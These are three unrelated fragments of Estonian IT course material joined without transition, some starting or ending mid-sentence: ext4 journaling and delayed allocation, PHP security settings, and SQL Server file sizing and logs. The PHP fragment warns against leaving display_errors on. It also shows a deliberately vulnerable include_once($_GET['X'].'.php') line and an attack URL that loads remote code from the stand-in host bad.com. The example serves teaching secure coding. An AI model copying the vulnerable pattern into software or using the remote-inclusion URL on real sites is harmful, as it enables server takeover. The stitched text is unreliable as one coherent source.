indekseerimist. See võimalus on kasutusel alates Linux 2.6.23. Jõudluse parandamiseks ja fragmenteerumise vältimiseks kasutatakse ext4 puhul meetodit, kus andmeplokkide asukoha ülesmärkimine toimub alles pärast andmete täielikku kettale kirjutamist (delayed allocation). Vajadusel on võimalik ext4 päevikupidamine välja lülitada. Sel juhul jõudlus veidi paraneb. Reeglina seda aga ei kasutata, sest päevikupidamine tagab failisüsteemi tervikluse ja salvestab toimuvad muutused logisse. Päevik võimaldab pärast planeerimatut töökatkestust taastada failisüsteemi tervikliku seisu võimalikult väikeste kadudega. Päevik on kasutatavaim osa kettast, seega tõenäoliselt ka kõige enam mõjutatud mehaanilistest riketest. Vigase žurnaali järgi andmete taastamine lõpeb suure tõenäosusega vigaste või kadunud andmetega. Räsisumma kontroll tõstab failisüsteemi usaldusväärsust, võimaldades välistada päeviku vigaste kirjete kasutamise
2. Display_errors: seadistab, kas veateateid väljastatakse või mitte. Väga mugav arenduse ja testimise etapil, kuigi toob turvalisuse probleeme avalikus veebis. Veateade järgi saab teada palju infot failisüsteemist ja arhitektuurist ning samuti ka programmi loogikast, mis ei ole just see info, mida te sooviksite potentsiaalsele ründajale edastada. Seega soovitatakse display_errors live-saitidel välja lülitada ning suunata kõik veateateid logisse (log_errors = on). 9.2 Skriptide laadimine $_GET parameetrite põhjal Oletame, et meie programm laadib PHP skripte vastavalt sellele, mis on $_GET parameetri X väärtus: include_once($_GET['X'].'.php'); http://www.example.com/index.php?X=product_details - laaditakse faili product_details.php http://www.example.com/index.php?X=products_list - laaditakse faili products_list.php http://www.example.com/index.php?X=http://www.bad.com/hack - laaditakse faili hack.php domeenist bad.com
Initial Size kaudu öeldakse algne baasi jaoks reserveeritud kettamaht. Üldiselt oleks kasulik andmebaasi eeldatav suurus välja arvutada ning teha andmebaas kohe õige suurusega. Sellisel juhul fragmenteerub andmebaasifail ketta peal vähem ning üldine jõudlus on parem. Autogrowth ütleb, kui suurte sammudega ja kui suure mahuni on salvestatavatel andmetel lubatud arvutis kasvada. Nagu näha on eraldi failid andmete eneste ja logide jaoks. Kõik muudatused andmebaasis kirjutatakse esmalt logisse ning seejärel salvestatakse andmebaasi. Selline kahekäiguline täitmine võimaldab vajadusel teatud tegevusi e. transaktsioone tagasi kerida. Väikestel andmebaasidel on enamasti üks andmefail ning üks logifail. Suurematel ja keerukamatel andmebaasidel võib nii logi kui ka andmefaile olla mitmeid. Kasulik on see näiteks juhul, kui mõni ketas on kiirem kui teine sinna saab panna sagedamini vajaminevaid andmeid. Samuti võib juhtuda, et mõningaid andmeid kasutatakse